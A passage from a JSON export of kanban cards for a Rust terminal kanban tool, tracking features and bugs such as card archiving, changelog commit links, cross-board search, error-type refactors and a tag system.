        "description": "Be able to archive a card.\n\nIn the domain model we add.\n\n```JSON\n{\n  \"id\": \"2defd1a8-9c55-4ef9-801f-9522a9c72a4a\",\n  \"column_id\": \"591afb61-7289-46bf-ba07-21758afd44fe\",\n  \"title\": \"Archive a card\",\n  \"description\": \"Be able to archive a card.\\n\\nIn the domain model we add.\\n\\n\\n\",\n  \"priority\": \"Medium\",\n  \"status\": \"Todo\",\n  \"position\": 30,\n  \"due_date\": null,\n  \"points\": 2,\n  \"card_number\": 67,\n  \"sprint_id\": \"737b04e6-52e2-4a40-bbaa-e2c9bcc84249\",\n  \"created_at\": \"2025-10-20T15:49:39.413116Z\",\n  \"updated_at\": \"2025-10-20T15:52:36.784687Z\",\n  \"completed_at\": null\n}\n```\n\nto\n\n```JSON\n{\n  \"id\": \"2defd1a8-9c55-4ef9-801f-9522a9c72a4a\",\n  \"column_id\": \"591afb61-7289-46bf-ba07-21758afd44fe\",\n  \"title\": \"Archive a card\",\n  \"description\": \"Be able to archive a card.\\n\\nIn the domain model we add.\\n\\n\\n\",\n  \"priority\": \"Medium\",\n  \"status\": \"Todo\",\n  \"position\": 30,\n  \"due_date\": null,\n  \"points\": 2,\n  \"card_number\": 67,\n  \"sprint_id\": \"737b04e6-52e2-4a40-bbaa-e2c9bcc84249\",\n  \"created_at\": \"2025-10-20T15:49:39.413116Z\",\n  \"updated_at\": \"2025-10-20T15:52:36.784687Z\",\n  \"completed_at\": null,\n  \"archived_at\": null | \"2025-10-20T15:52:36.784687Z\"\n}\n```\n\n`\"archived_at\": null | \"2025-10-20T15:52:36.784687Z\"`\n\nwe add the `archived_at` key that will either have a date or a null value.\n\nNull if the card was never archived or the date for when the card was archived\n\nif the card has an `archived_at` value we should exclude it from the main tasks lists\n\nwe shoeuld probably also be able to compose an archived_at list\n\n2025-12-04 23:37:06\n---\n\nSome time back we actually did this ticket\n",
        "due_date": null,
        "id": "2defd1a8-9c55-4ef9-801f-9522a9c72a4a",
        "points": 2,
        "position": 74,
        "priority": "Medium",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:23.898922Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:24.979068Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:23.898923Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:24.979074Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Archive a card",
        "updated_at": "2025-12-04T22:37:18.340275Z"
      },
      {
        "card_number": 234,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-25T23:26:46.166427431Z",
        "description": "## Context\n\nKAN-216 added per-card ### grouping to CHANGELOG.md. Each bullet point is a commit subject line, but there is no link back to the actual commit on GitHub.\n\n## Current output\n\n### KAN-193 Bring MCP to full feature parity (2026-03-17)\n- feat: update MCP server tools for full CLI parity\n- feat: bring MCP context to full parity with CLI\n\n## Expected output\n\n### KAN-193 Bring MCP to full feature parity (2026-03-17)\n- feat: update MCP server tools for full CLI parity ([abc1234](https://github.com/owner/repo/commit/abc1234))\n- feat: bring MCP context to full parity with CLI ([def5678](https://github.com/owner/repo/commit/def5678))\n\n## Approach\n\nModify create-changeset.sh to capture commit hashes alongside subjects. Instead of:\n  git log ... --pretty=format:\"- %s\"\nUse:\n  git log ... --pretty=format:\"- %s (%H)\"\n\nThen in aggregate-changelog.sh, after deriving the repo URL (already done for PR links), replace bare hashes at end of bullet lines with Markdown links. Short hash (7 chars) shown in label.\n\n## Acceptance criteria\n\n- create-changeset.sh stores full commit hash alongside each subject line\n- aggregate-changelog.sh converts hashes to GitHub commit links using remote URL\n- Legacy changeset files without hashes are handled gracefully (lines left unchanged)\n- Short hash (7 chars) is shown in the link label",
        "due_date": null,
        "id": "c8a2272a-cda8-4e7f-bac2-47bd90edf41c",
        "points": 2,
        "position": 74,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856474296Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add commit links to CHANGELOG entries",
        "updated_at": "2026-04-04T23:35:37.856475133Z"
      },
      {
        "card_number": 145,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-04T23:05:56.834091Z",
        "created_at": "2025-12-04T22:39:36.658299Z",
        "description": "Hitting `e` from the task list, on a card doesnt update its description\n\nI think this is also how we saw a conflict with the own instance\n\n2025-12-05 00:05:28\n---\n\nPatch applied\n\nWe add the pause call in the queue snapshot and resume after save\n",
        "due_date": null,
        "id": "abcdf9ab-c39e-4a65-a6b4-ba7828f6eae5",
        "points": 5,
        "position": 75,
        "priority": "Critical",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "We broke the file watcher / having a conflict with one instance",
        "updated_at": "2025-12-04T23:05:56.834093Z"
      },
      {
        "card_number": 239,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T23:14:53.531169755Z",
        "description": "The 4 uses of KanbanError::Internal in crates/kanban-service/src/context.rs are true invariant violations after execute() + last().cloned(). These should arguably panic!() or use expect() instead of returning a recoverable error. Ref: PR #199 review issue #3.",
        "due_date": null,
        "id": "24854fc4-b5f7-47a4-9392-89c002793cd8",
        "points": 2,
        "position": 75,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856414446Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace KanbanError::Internal with panics for invariant violations",
        "updated_at": "2026-04-04T23:44:58.163134569Z"
      },
      {
        "card_number": 147,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-05T23:20:36.892207Z",
        "created_at": "2025-12-04T23:31:25.382132Z",
        "description": null,
        "due_date": null,
        "id": "55adb5ff-9ddf-4ea7-82ee-d93af5d1f552",
        "points": 1,
        "position": 76,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "multiselecting and assigning cards causes write race condition",
        "updated_at": "2025-12-05T23:20:36.892208Z"
      },
      {
        "card_number": 236,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T19:25:45.687473541Z",
        "description": "## Context\n\n`CardQueryBuilder::search(query)` (query/mod.rs:81) always calls `CompositeSearcher::all(query)`, hardwiring all three search methods (title, branch name, card identifier) with no way to narrow them. The builder accepts only a plain string — no field selection.\n\n## Current behaviour\n\n```\nCompositeSearcher::all(query)\n  → TitleSearcher\n  → BranchNameSearcher\n  → CardIdentifierSearcher   ← always on, cannot be excluded\n```\n\n`CompositeSearcher` already has a builder-style API (`new() + with_search()`) that supports selective composition, but it is never surfaced past the domain layer.\n\n## Proposed change\n\n### Domain layer\n\nChange `CardQueryBuilder` to accept a pre-built searcher instead of (or alongside) a plain string:\n\n```rust\npub fn search_with(mut self, searcher: CompositeSearcher) -> Self { ... }\n```\n\n### Interface layer\n\nEach interface builds the searcher from user-supplied flags:\n\n- **CLI**: `kanban card list --search \"foo\" --search-by title,identifier`\n  Maps flag values to `SearchBy` variants, builds `CompositeSearcher::new().with_search(...)`\n- **MCP**: `tool_list_cards` accepts an optional `search_fields` array param; handler builds the searcher before passing to `CardQueryBuilder`\n- **TUI**: current all-fields behaviour is fine as default; could add a mode toggle\n\n## Notes\n\n- `CompositeSearcher::all(query)` remains valid for the default/unspecified case\n- No changes needed to the searcher structs themselves — the primitive is already correct",
        "due_date": null,
        "id": "3febd622-7ac0-43dc-b441-07e450383ae4",
        "points": 3,
        "position": 76,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856404312Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Expose selective search fields via CardQueryBuilder and interface flags",
        "updated_at": "2026-04-04T23:44:58.086025795Z"
      },
      {
        "card_number": 144,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-05T23:20:48.705557Z",
        "created_at": "2025-12-04T22:37:41.840393Z",
        "description": "When scrolling from the second to last element in a kanban view column, we switch to the next column prematurely\n",
        "due_date": null,
        "id": "84f9a824-784c-4d66-8f04-002bd12aea11",
        "points": null,
        "position": 77,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Kanban view - switches column on the second to last item",
        "updated_at": "2025-12-05T23:20:48.705557Z"
      },
      {
        "card_number": 237,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T19:35:20.579037901Z",
        "description": "## Context\n\nSearch exists only in the TUI (via `CardQueryBuilder` + `CompositeSearcher`). The CLI and MCP have no search capability — `card list` and `tool_list_cards` only filter by board/column/sprint/status. The `CompositeSearcher` itself only covers title, branch name, and identifier; it does not search description or any other field.\n\n## What we want\n\nA search command/parameter that searches **all meaningful text fields** on a card, **across all boards**, with results ranked or at least consistently ordered.\n\n### Fields to search (case-insensitive substring match)\n\n| Field | Notes |\n|---|---|\n| `title` | already in TitleSearcher |\n| `description` | not currently searched anywhere |\n| `identifier` | e.g. KAN-5 — already in CardIdentifierSearcher |\n| `branch_name` | derived field — already in BranchNameSearcher |\n| `priority` | e.g. \"critical\", \"high\" |\n| `status` | e.g. \"blocked\", \"in_progress\" |\n\nFields **not** worth searching: `id`, `column_id`, `sprint_id`, `position`, `points`, `due_date`, `created_at`, `updated_at`, `completed_at`, `sprint_logs`.\n\n## Required changes\n\n### 1. Domain — extend `CompositeSearcher`\n\nAdd `DescriptionSearcher`, `PrioritySearcher`, `StatusSearcher` to `kanban-domain/src/search/mod.rs` and include them in `CompositeSearcher::all`.\n\n### 2. Domain — `CardQueryBuilder` cross-board variant\n\n`CardQueryBuilder` is scoped to a single board today (takes `&Board`). A cross-board search needs a variant that iterates all boards, or a new free function that runs the search across the full cards/columns/boards/sprints slices.\n\n### 3. CLI — `card list --search <query>`\n\nAdd `--search` flag to `CardListArgs`. Wire it through `build_filter` → `CardQueryBuilder` (or the cross-board variant). Results should include the board name alongside each card for context.\n\n### 4. CLI — dedicated `card search <query>` command (optional alternative)\n\nIf a dedicated subcommand is preferred over a flag on `list`, add `CardAction::Search { query: String }` to the CLI. Always searches across all boards.\n\n### 5. MCP — `tool_list_cards` search param\n\nAdd optional `search: Option<String>` to `ListCardsRequest`. When present, pass it through `CardQueryBuilder::search()`. Also works cross-board when no `board_id` filter is given.\n\n## Acceptance criteria\n\n- `kanban <file> card list --search \"auth\"` returns all cards whose title, description, identifier, branch name, priority, or status contain \"auth\", across all boards\n- `tool_list_cards` with `search: \"blocked database\"` returns matching cards\n- Empty or missing `search` behaves identically to today (no regression)\n- TUI search behaviour unchanged (already uses `CompositeSearcher::all`)",
        "due_date": null,
        "id": "924b40ee-2cbd-4d0f-a609-4b1caf917e72",
        "points": 3,
        "position": 77,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856364070Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add full-text card search to CLI and MCP",
        "updated_at": "2026-04-04T23:44:58.126057952Z"
      },
      {
        "card_number": 240,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T23:14:58.521903735Z",
        "description": "KanbanError has Io, Serialization, ConflictDetected that mirror PersistenceError 1:1. A KanbanError::Persistence(PersistenceError) wrapper would be cleaner but requires architectural discussion since domain can't depend on persistence. Ref: PR #199 review issue #1.",
        "due_date": null,
        "id": "f80cae59-ec31-41fd-883a-6c309f18f8f3",
        "points": 2,
        "position": 78,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856525171Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Consider wrapping PersistenceError in KanbanError",
        "updated_at": "2026-04-04T23:44:58.198379538Z"
      },
      {
        "card_number": 93,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-16T01:01:24.347116Z",
        "created_at": "2025-10-24T19:54:30.818495Z",
        "description": "disrupting the context of the viewer\n\nwhen opening a dialog inside say the sprint details view\n\nThe ui switches to the main card list, upsetting the viewers (user) context and mind model\n\nmake it so that opening a dialog keeps the background ui where it is so that context remains the same\n\n---\n\nsomething else is wrong with the context.\n\nonce the context has been disrupted like this the user will be sent back to the undefined context when taking an action.\n\nthen having to `escape` or whatever out of that list\n\nexample\n\nopen sprint details on a completed sprint\n\nnavigate two cards down\n\n`escape` that card\n\nbe returned to the main card list / kanban view.\n\nwhen one should have been returned to the sprint details\n\n---\n\nOr when after opening the external editor on the card description and then saving and exit. We are returned to the card list and not the card details \n",
        "due_date": null,
        "id": "6a994d78-3e0f-4158-bfe8-f3c82e402a65",
        "points": 4,
        "position": 78,
        "priority": "High",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:14.917340Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155918Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:34.327388Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:14.917352Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327388Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "dialogs always return to main when opened",
        "updated_at": "2025-12-16T01:01:24.347119Z"
      },
      {
        "card_number": 241,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T23:53:53.697237428Z",
        "description": "TUI crate directly constructs and matches on PersistenceError in 3 places (app/mod.rs save worker, tui_context.rs export/import), violating the dependency flow (TUI should go through KanbanError, not reach into persistence). Fix: use KanbanError::from and KanbanError::serialization() instead. Ref: PR #199 review issue #2.",
        "due_date": null,
        "id": "aeace9a8-7e90-47d9-80d6-154902ad7d33",
        "points": 2,
        "position": 79,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856358169Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix TUI layer violation: direct PersistenceError usage",
        "updated_at": "2026-04-04T23:44:58.233440081Z"
      },
      {
        "card_number": 142,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-16T01:32:54.009370Z",
        "created_at": "2025-12-04T22:02:17.267772Z",
        "description": "When in the card details, editing fields. Like using P or external editor sends the user back to the card list after save\n\nThis also affects other instances of the application\n",
        "due_date": null,
        "id": "2ecebef1-0c46-426b-8ab8-e8d228c9ce36",
        "points": 2,
        "position": 79,
        "priority": "High",
        "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T22:29:46.206853Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "updating fields jumps the user back to board",
        "updated_at": "2025-12-16T01:32:54.009371Z"
      },
      {
        "card_number": 242,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T00:04:58.650184354Z",
        "description": "In kanban-service/src/context.rs, several places construct PersistenceError::Serialization(...) and rely on the From impl to convert. Should use KanbanError::serialization(...) instead so the service layer only speaks KanbanError. Same pattern as the TUI layer violation fixed in KAN-241.",
        "due_date": null,
        "id": "4e22338f-6e54-4e56-b518-ea19ff3f731d",
        "points": 2,
        "position": 80,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856362116Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Service layer constructs PersistenceError directly instead of KanbanError",
        "updated_at": "2026-04-04T23:44:58.269272635Z"
      },
      {
        "card_number": 141,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-16T01:48:43.479945Z",
        "created_at": "2025-12-04T22:01:12.983879Z",
        "description": null,
        "due_date": null,
        "id": "769d8dea-2465-4496-a74c-5204aa60873c",
        "points": 1,
        "position": 80,
        "priority": "Low",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264703Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T22:03:25.551805Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264704Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "scrolling up from column options lands the cursor on the first sprint in the list",
        "updated_at": "2025-12-16T01:48:43.479947Z"
      },
      {
        "card_number": 140,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-16T02:00:04.675191Z",
        "created_at": "2025-12-04T21:30:48.049528Z",
        "description": null,
        "due_date": null,
        "id": "828d42c0-015d-46d7-b23b-c04206076b5f",
        "points": 2,
        "position": 81,
        "priority": "Low",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264715Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:59:06.363679Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264715Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "filter out completed sprints from assign list",
        "updated_at": "2025-12-16T02:00:04.675192Z"
      },
      {
        "card_number": 243,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T00:05:05.706381871Z",
        "description": "KanbanError has is_not_found(), is_validation(), is_cycle_detected(), is_conflict_detected() etc. but is missing is_io() and is_serialization() for symmetry.",
        "due_date": null,
        "id": "43cfc7ec-dd9a-4f4c-ba71-ffbe4e96e814",
        "points": 1,
        "position": 81,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856381986Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add missing is_io() and is_serialization() predicates on KanbanError",
        "updated_at": "2026-04-04T23:44:58.310419357Z"
      },
      {
        "card_number": 112,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-16T02:03:01.106117Z",
        "created_at": "2025-11-01T09:35:35.157294Z",
        "description": "`T` binding should bring up the filtering dialogue where we can select which filterings are enabled for a sprint\n\nIt is a multi select dialogue\n\nyou can choose whatever filters you want\n\nto be later used for tag feature\n",
        "due_date": null,
        "id": "92ee0d48-48b0-480d-8a2d-040d1bf52657",
        "points": 2,
        "position": 82,
        "priority": "Medium",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327383Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-01T16:42:25.311070Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264773Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327384Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264773Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "`T` should bring up filtering dialogue",
        "updated_at": "2025-12-16T02:03:01.106117Z"
      },
      {
        "card_number": 244,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T00:05:11.407266806Z",
        "description": "crates/kanban-tui/tests/conflict_detection_tests.rs tests PersistenceStore::save() directly and matches on PersistenceError. These tests belong in kanban-persistence/tests/ since they don't test any TUI behavior.",
        "due_date": null,
        "id": "31aa2cc6-3808-408d-b10a-0ba49ad17d1b",
        "points": 1,
        "position": 82,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856468467Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Move conflict_detection_tests from kanban-tui to kanban-persistence",
        "updated_at": "2026-04-04T23:44:58.350090629Z"
      },
      {
        "card_number": 246,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T15:00:11.886501671Z",
        "description": "Wire up the existing Tag model into a full tag system across all layers.\n\nDomain: add tags field to Card/CardUpdate, add tags to Snapshot, implement TagFilter, add tag CRUD commands.\nService: add tag operations to KanbanOperations trait and KanbanContext.\nPersistence: add tags to Snapshot, write migration for existing data.\nCLI: add tag subcommand (create, list, delete, assign/unassign to cards).\nMCP: add tag tools (create, list, delete, assign, unassign).\nTUI: display tags on cards, tag assignment UI, wire up filter dialog Tags section (currently a Future placeholder).\n\nExisting scaffolding: Tag struct in kanban-domain/src/tag.rs, CardFilters.selected_tags, FilterDialogSection::Tags in TUI, DomainError::tag_not_found.\n\nRelated cards: KAN-119 (ui module refactor), KAN-241 (TUI error handling), KAN-245 (surface errors via Banner).",
        "due_date": null,
        "id": "ffc4447e-d068-43dc-87e0-364bbf656a8f",
        "points": 5,
        "position": 83,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856398403Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Implement tag system end-to-end",
        "updated_at": "2026-04-04T23:44:58.420348163Z"
      },
      {
        "card_number": 148,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T21:39:10.303390Z",
        "created_at": "2025-12-06T10:58:26.968309Z",
        "description": "Something is wrong using the app with \n\n`kanban filepath.json`\n\nthe thing just crashes\n",
        "due_date": null,
        "id": "d4904952-c37a-4796-adb2-f744c8959930",
        "points": 1,
        "position": 83,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "kanban filepath.json crashes",
        "updated_at": "2025-12-19T21:39:10.303390Z"
      },
      {
        "card_number": 150,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T21:39:13.850088Z",
        "created_at": "2025-12-16T02:04:22.114571Z",
        "description": "There is a bug with starting the app and providing a file path to a non existant file\n",
        "due_date": null,
        "id": "da91abfd-e6bf-4a62-968c-24368f8b78bc",
        "points": 2,
        "position": 84,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "file path to a non existant file crashes the app",
        "updated_at": "2025-12-19T21:39:13.850088Z"
      },
      {
        "card_number": 247,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T15:03:55.899411932Z",
        "description": "When UpdateSprint has a name change, it scans context.sprints twice for the same sprint_id: once to get board_id, then again via sprint_mut(). Restructure to do a single lookup. Borrow checker may require care since board_mut is called in between. Found during PR #200 review.",
        "due_date": null,
        "id": "0327f992-f1c5-4191-87b4-3b79b60040ea",
        "points": 1,
        "position": 84,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856472449Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Eliminate double sprint lookup in UpdateSprint name change",
        "updated_at": "2026-04-04T23:44:58.447940983Z"
      },
      {
        "card_number": 146,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T21:39:21.518507Z",
        "created_at": "2025-12-04T23:03:58.581895Z",
        "description": "Create an mcp server.\n\nDepends on kanban cli?\n\n",
        "due_date": null,
        "id": "b8d92ecb-1f96-4d5d-8c37-18f13a31497b",
        "points": 3,
        "position": 85,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Kanban MCP",
        "updated_at": "2025-12-19T21:39:21.518507Z"
      },
      {
        "card_number": 248,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T15:03:56.088228232Z",
        "description": "MoveCard validates the target column with a raw context.columns.iter().any() + manual KanbanError::not_found(), while the card lookup uses context.card_mut(). Add a column_exists() or immutable column() helper on CommandContext for consistency with the other helpers. Found during PR #200 review.",
        "due_date": null,
        "id": "ddf97a9c-fd28-4076-923a-9dd619663c0b",
        "points": 1,
        "position": 85,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856452753Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Use consistent lookup pattern in MoveCard column check",
        "updated_at": "2026-04-04T23:44:58.474995393Z"
      },
      {
        "card_number": 249,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T15:03:56.279502510Z",
